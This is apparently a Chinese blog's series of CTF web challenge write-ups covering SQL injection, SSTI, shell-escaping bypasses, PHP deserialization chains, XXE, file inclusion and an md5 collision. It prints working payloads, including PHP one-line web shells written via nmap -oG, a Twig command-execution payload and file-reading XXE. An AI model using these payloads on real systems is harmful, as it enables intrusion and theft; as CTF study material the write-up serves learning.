这边先用联合注入爆一下数据库
?no=0 union/**/select 1,group_concat(data),3,4 from users
这边直接就跳转到爆字段了,前面的自行去
image.png
这是一个序列化后的数据,结合上面的源代码,虽然ban了http和https,但是我们还有file伪协议
直接就可以进行一个ssrf,?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这样也同样出来flag,这边可能是后台进行了一个反序列化,这里数据要在第四个地方写,因为第四个字段才是data
image.png
之后看到了一串base64,解码:
image.png

[BJDCTF2020]The mystery of ip

ip的密码,今天做的题都好厉害啊
进入页面:
image.png
一个flag一个hint
flag:
image.png
hint:
image.png
他知道我们的IP地址,在浏览器肯定啥也分析不出来,他知道我们的IP无非就是XFF,X-Real-ip等等,抓包添加XFF请求头:
image.png
可以看到已经就是成功了,就是XFF控制的,但是知道这个我们又该咋样去得到flag呢?网页源代码中有这么一段:
image.png
这是不是很像模板注入里的语句,当然只是像,所以该考虑一下SSTI注入,尝试一下:
image.png
确实存在ssti注入,这边直接开读!:
image.png
读取一下flag.php:
image.png
这是一段代码,也就是如何判断我们IP的代码,而且可以从这里知道这是一个smarty模板
发现在根目录就直接读:
image.png

[BUUCTF 2018]Online Tool

直上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

代码很短,却很生草,这一题主要就在escapeshellargescapeshellcmd这两个函数结合运用,会导致一些差错

1
2
3
4
5
6
7
8
9
10
escapeshellarg函数
作用:把单引号转义之后再用引号括起来,使其成为一个字符串,使其只能提交一个参数。
escapeshellcmd函数
作用:把\,不闭合的引号等符号进行转义,使一次只能执行一次cmd命令杜绝';','&&'的使用。


传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

函数介绍完了就直接上payload了:

1
?host=' <?php eval($_POST[1]);?> -oG 1.php '

注意这边单引号和内容之间有一个空格,我们本地测试一下:
image.png
可以看到结果分为:

1
2
3
4
5
6
''\'' <?php eval($_POST[1]);?> -oG 1.php '\'''
''\\'' \<\?php eval\(\$_POST\[1\]\)\;\?\> -oG 1.php '\\'''
// 根据shell的解析规则
\ <?php eval($_POST[1]);?> 1.php \\
这样的话结果还是被写入了1.php

如何在最后的单引号前面不加空格,那么最后文件名会是1.php\\,这边成对的单引号是可以消掉的,'\\'''中,后两个单引号配对为空,前面2个单引号包裹\\所以最后就是\\,不进行转义
最后访问给的文件夹地址rce即可
image.png

[网鼎杯 2020 朱雀组]phpweb(反序列化+RCE)

进入靶场,看见一张司马脸,一开始以为是野兽,结果是孙笑川尼玛的
image.png
普通界面啥也没有,我们打开检查后发现:
image.png
这里有2个POST传递的参数,func和p:
image.png

可以知道网页中执行了data(Y-m-d+h:i:s+a)函数,那我们不妨猜想一下假如把data换成其他函数比如eval,system之类的呢
我们首先读取一下源码,payload:func=highlight_file&p=index.php
得到了以下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

exp:call_user_func($a,$b)等价于$a($b)

从源码可以得知,首先ban掉了一大堆函数,里面有一个自定义函数gettime:里面有call_user_func函数,可以执行命令;新建了一个类Test,里面可以再次调用gettime函数,最后传2个参数func和p,如果func不为空且func中没有被禁用的函数,那么就运行gettime函数
分析:假如单单func和p传入一个system,ls这样肯定不行,因为system被ban了,很多执行命令的函数给ban掉了,我们看到里面有个类就应该想起反序列化,这题我们得调用Test类进行两次gettime函数的利用,来绕过过滤
构造本地文件:

1
2
3
4
5
6
7
8
9
P <?php
class Test {
var $p = 'ls';
var $func = "system";
}
$a=new Test;
$a=serialize($a);
echo $a;
?>

结果:
O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}
我们输入func=unserialize&p=O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}:image.png
发现当前目录没有flag文件,这时候我们就要用到一个linux指令:

这里使用指令 find / -name flag*:查找根目录所有名称包括flag的文件
把上述本地文件中的p改为find / -name flag,构造payload:
func=unserialize&p=O:4:”Test”:2:{s:1:”p”;s:18:”find / -name flag
“;s:4:”func”;s:6:”system”;}
image.png
这么多带有flag的文件名,观察可以得出flag应该在/tmp/flagoefiu4r93目录下
把p改为:tac /tmp/flagoefiu4r93
构造payload:
func=unserialize&p=O:4:”Test”:2:{s:1:”p”;s:22:”tac /tmp/flagoefiu4r93”;s:4:”func”;s:6:”system”;}
image.png
得到了flag!
遇到的一些问题:本人尝试过用一句话木马看看能不能连接到后台,因为这样找文件可能有点麻烦,但是在测试的过程中,首先可以从上一题知道不能直接func=eval这种形式去写一句话木马,所以我用了assert(eval($_POST[1]))
可是这仍然行不通,猜测可能是当前页面没有开启assert

[GXYCTF2019]禁止套娃

页面啥也没有,扫目录发现有git文件,我们用githack下载了,发现了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

似曾相识,正则里面有个递归正则,意思就是只让我们用字母和括号组成的函数来构造
直接上payload了:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
image.png
没啥好说的

[BSidesCF 2020]Had a bad day

image.png
好了!锻炼英语的时候到了,翻译内容如下:
今天可好?有什么不顺的事情吗?心情很低落吗?点下面的按钮让这些可爱的图片治愈你!
image.png
伯恩山呜呜呜,我也想养一只
看浏览器参数,多了个catagory,这边我以为是SQL注入,加了个单引号后:
image.png
看到include吗,这是文件包含题,经过测试,我们的参数里必须要有woofers或者meowers,也就是给定的2个参数,并且啊结尾会自动填上一个.php:
image.png
构造payload读取源文件;
php://filter/convert.base64-encode/resource=index
可以读取,这边应该是字符串中有index也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

看到源代码了,经过目录扫描,存在flag.php
构造payload:
php://filter/convert.base64-encode|woofers/resource=flag
image.png

想尝试data可是行不通,没开启allow_url_include
image.png

[GWCTF 2019]我有一个数据库

image.png
这段话是啥不重要,重要的是用dirsearch扫出来了robots.txth和phpmyadmin:
image.png
image.png
这里没啥东西感觉
重点在phpmyadmin:
image.png
看phpmyadmin的版本,4.8.1,这里存在一个
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613) - 简书
【首发】phpmyadmin4.8.1后台getshell
把这两个看完你会焕然一新,这个CVE出现在index界面,你会发现poc和**[HCTF 2018]WarmUp**一模一样
所以我就直接上payload了:
?target=db_sql.php%253f/../../../../../../../../flag
image.png
上面还有个getshell的文章,就是不清楚这个安装目录不然也可以getshell

[BJDCTF2020]Mark loves cat

用dirsearch扫出git,下载源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}

echo "the flag is: ".$flag;
?>

弱智题:
?flag=flag&is=flag
?yds=flag

[NCTF2019]Fake XML cookbook

考点XXE注入:
image.png
先抓包:
image.png
底下的东西就像极了xxe注入,我们构造payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ?>
<!DOCTYPE feng [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>

image.png
答案就出来了,不要问我为什么,下面的文章让你系统学习XXE:
https://xz.aliyun.com/t/6887#toc-5
经典文章

[安洵杯 2019]easy_web

第一题就这么有含金量的吗
image.png
image.png
写了个md5,找半天愣是没找到,然后看到url中有参数,一个cmd一个img,cmd中ban了很多,如ls之类的,所以基本是不可能可以执行命令了
然后就转移到了img这个参数,那是一个base64加密2次的内容:
image.png
解密出来为一个16进制字符串,再解密:
image.png
这边就可能存在一个文件包含了,可以看到源代码:
image.png
有这么一串base64,这应该就是文件的内容,我们也构造一个加密内容,先16进制编码再base64加密2次index.php,把源文件读出来:
image.png
内容已经改变了,我们解密一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>

得到了源码,审计一番过后,发现有个md5强碰撞,注意!这里有一个(string)所以数组绕过是不行了,必须找一个md5加密后完完全全相等的值:
https://segmentfault.com/a/1190000039189857
我直接给答案了:

1
2
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0
&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0

这里用burp去传参:
image.png
可以看到已经成功dir出了文件,在根目录找到flag文件,然后直接读:
image.png
完事
小结一下吧,一开始看到``我还以为是用反弹shell或者是curl,结果有关的参数都被ban了,最后才想到反斜杠去绕过,还是有点不太熟练哈哈

[强网杯 2019]高明的黑客

image.png
下载源文件后你会发现就是一坨屎山:
image.png
你觉得可能慢慢读完吗,可能吗?每一个文件里面都是:
image.png
这种样式,你觉得人可能可以找到吗,所以我们依靠一波python脚本,大概的意思就是找到文件中的GET和POST参数,然后在本地测试,看看那个文件可以触发eval或者是system或者是assert,最后输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#Author:Unknown
import os
import requests
import re
import threading
import time

print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:\Users\22927\Downloads\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

image.png
直接就找到了,然后我们直接执行命令就可以了:
image.png
大佬真是厉害啊,受教了!

考点是twig的SSTI
image.png
进来之后就是登录界面,随便输入一个用户名然后抓包:
image.png
题目提示我们是cookie,那cookie可能就有问题,cookie可以命令执行的点也就SSTI了,所以要先想到ssti,然后再考虑是什么模板,网页是PHP模板,接下来怎么验证是什么模板

1
2
3
4
在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig

image.png
OK是Twig,找个poc:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

image.png
这边要说一下,exec和system与shell_exec都是有区别的,exec只会返回最后一行的数据,所以这波盲猜flag真正的文件在根目录,你可以看看:
image.png
就只出来了一个

[WUSTCTF2020]朴实无华(科学计数法)

image.png
查看robots.txt:
image.png
访问:
image.png
访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>ta

全是乱码但这就是题目,不影响,先看level1
其实我觉得level1就是最难的了,intval怎么样才可以达到那样的条件呢?测试了很多发现和版本有关系,题目是php5版本
在php7以下的版本会发生这种事情:

1
2
intval('1e1')=1
intval('1e1'+1)=11

前者被当成字符串所以是1,后者被解析成了科学计数法,利用这一点可以过第一关
?num=1e8
第二关:
要md5加密前后值相同,也就是都为0e开头:
?md5=0e1137126905
第三关:
最简单的一关了,大致的意思就是参数中不能有空格,cat,白给
get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
image.png

[ASIS 2019]Unicorn shop

考点是unicode字符串解析过程
参考文章:https://guokeya.github.io/post/UtMQ2MAtQ/
看了就懂了
最后的payload:
id=1&price=𐄣𐄣解码后就成了2000,大于1337
找这些东西的网址:https://www.compart.com/en/unicode/plane
直接搜two thousand即可

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

源码如上:
**__get():**当类调用一个不存在或者是私有属性触发
**__tostring():**当把类当成字符串时触发
__**invoke():**当类被当时函数时触发
**__wakeup():**反序列化时触发
这边触发pop链的整体思路为:
反序列化时,触发__wakeup,然后preg_match触发__tostring,然后利用return $this->str->source;,让str等于test类,去访问不存在的source属性,触发__get,然后触发__invoke,同时让var等于php://filter/convert.base64-encode/resource=flag.php,这就是完整的pop链,构造本地文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->str=new Test();
$this->source=$file;
}
}

class Test{
public $p;
public function __construct(){
$this->p=new Modifier();
}
}

$a=new show('aaa');#初始化show类
$a=new show($a);#令source=new show()
echo urlencode(serialize($a));
?>

这边我们的Show类的构造函数给了个$file,所以一定要随便传的什么,否则报错
最后不URL编码的结果为:

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}

url编码的结果为:

1
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

最后pop传参获得flag:
image.png image.png

[网鼎杯 2020 朱雀组]Nmap

image.png
随便输入一个地址:
image.png
就会给你namp出来结果,所以指令应该就是namp xxxxx 你的输入
然后抱着试一试的心态我在想,之前做过一道escapeshellarg函数和escapeshellcmd函数结合的题,所以我就输入了一个127 '
image.png
给转义了,所以我就觉得这道题对参数进行了上面2个函数的结合,然后经过一系列fuzz发现ban掉了php,所以参数不可以带php,那这样payload就很显而易见了,用短标签去写shell:
127.0.0.1 ' <?=eval($_POST[1]);?> -oG 1.phtml ':
image.png
成功getshell

[WesternCTF2018]shrine

进入页面就给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

一个flask框架,里面有2个过滤,首先传入的参数中的()会被替换为空
其次{%set config=None%},{%set self=None%}因此我们不能单独传入config或者是self
config,config|string,self.__dict__等都给ban了
因此这一题我们的payload为:
url_for.__globals__.current_app.config:

image.png
image.png
image.png
current_app表示的可能就是当前的app了
用其他内置函数当然也可以咯~

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这边儿正则是怎么回事呢,就是你只可以输入白名单里的函数,abs(123)只会被识别abs,abs(asd)会被识别为abs和asd,就是这么一回事,\x7f-\xff表示数字字母和字符以外的一些乱码,防止我们异或,取反
这题的解法有点类似于自增
image.png
三十六进制的字符是由数字+小写字母构成的,所以把36进制的hex2bin转换为10进制后为37907361743,然后我们刚好白名单里有base_convert函数:
image.pngimage.png
进制转换函数,所以我们可以base_convert(37907361743,10,36)得到hex2bin,十六进制转字符串函数,然后白名单里又有dechex函数:
image.png
看看_GET的十六进制是5f474554,再将16进制转为10进制1598506324
最后payload:?c=1;$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){exp}($$pi{pi})&exp=system&pi=tac /flag
上述payload肯定都看得懂吧。。

[MRCTF2020]PYWebsite

image.png
让我们买flag,这边查看一下网页源代码:
image.png
已经告诉我们是flag.php,访问一下就行:
image.png
添加个XFF头:
image.png
image.png
简单题

[SWPU2019]Web1

看似是xss实则是sql
image.png
一个登入界面,我先注册了一个账号~
image.png
可以发布广告,我看到这个就以为是xss:
image.png
事实证明确实可以XSS,但是经过测试发现没有cookie,并不能获取管理员的cookie,黔驴技穷的时候发现标题存在SQL注入!:
image.png
image.png
!!!然后再经过一系列的FUZZ,发现只可以用联合查询,并且空格过滤了,只能用/**/去代替,接下来我就一步步的放payload了,没啥好讲
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
获取注入点
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
获取表名
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,(3)c/**/union/**/select/**/*/**/from/**/users)d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
子查询获取答案

[NPUCTF2020]ReadlezPHP

进入靶场一个很渗人的东西出现了:image.png
我真的是栓Q,大半夜写的,我给你一拳啊,咳咳。我们右键没用但是不要紧,直接view-source:
image.png
发现了一个time.php?source,点进去康康发现源码直接给你了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    <?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

